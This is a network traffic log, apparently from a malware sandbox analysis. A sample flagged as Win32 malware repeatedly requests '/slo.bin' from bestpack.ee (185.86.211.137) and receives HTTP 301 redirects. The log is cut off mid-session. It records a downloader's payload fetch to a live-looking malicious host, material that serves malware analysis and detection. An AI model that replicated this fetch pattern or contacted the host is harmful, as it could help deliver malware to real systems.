Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49768	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 18:59:33.103394032 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 18:59:33.325213909 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 16:59:33 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49770	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 18:59:44.487292051 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 18:59:44.705246925 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 16:59:44 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49772	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 18:59:55.875292063 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 18:59:56.094286919 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 16:59:55 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49774	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:00:07.278505087 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:00:07.496660948 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:00:07 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49776	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:00:18.698251963 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:00:18.915961981 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:00:18 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49778	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:00:30.120770931 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:00:30.342278957 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:00:30 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49780	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:00:41.539582968 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:00:41.760488033 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:00:41 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49782	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:00:52.924864054 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:00:53.142752886 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:00:53 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49784	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:01:04.328171015 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:01:04.545500040 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:01:04 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49786	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:01:15.705539942 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:01:15.928312063 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:01:15 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49788	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:01:27.125247002 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:01:27.348969936 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:01:27 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49790	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:01:38.508802891 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:01:38.729651928 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:01:38 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49792	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:01:49.900963068 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:01:50.123106956 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:01:50 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49794	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:02:01.238559008 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:02:01.456110001 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:02:01 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The 